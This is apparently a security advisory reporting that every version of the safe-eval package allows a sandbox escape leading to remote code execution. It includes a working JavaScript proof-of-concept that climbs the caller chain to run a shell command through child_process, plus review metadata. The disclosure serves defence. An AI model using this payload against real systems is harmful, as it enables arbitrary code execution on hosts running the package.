All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})()
may be used to print the pwd to the console.
No fix is currently available. Consider using an alternative package until a fix is made available.
{
"cwe_ids": [],
"github_reviewed_at": "2020-08-31T18:44:49Z",
"github_reviewed": true,
"severity": "HIGH",
"nvd_published_at": null
}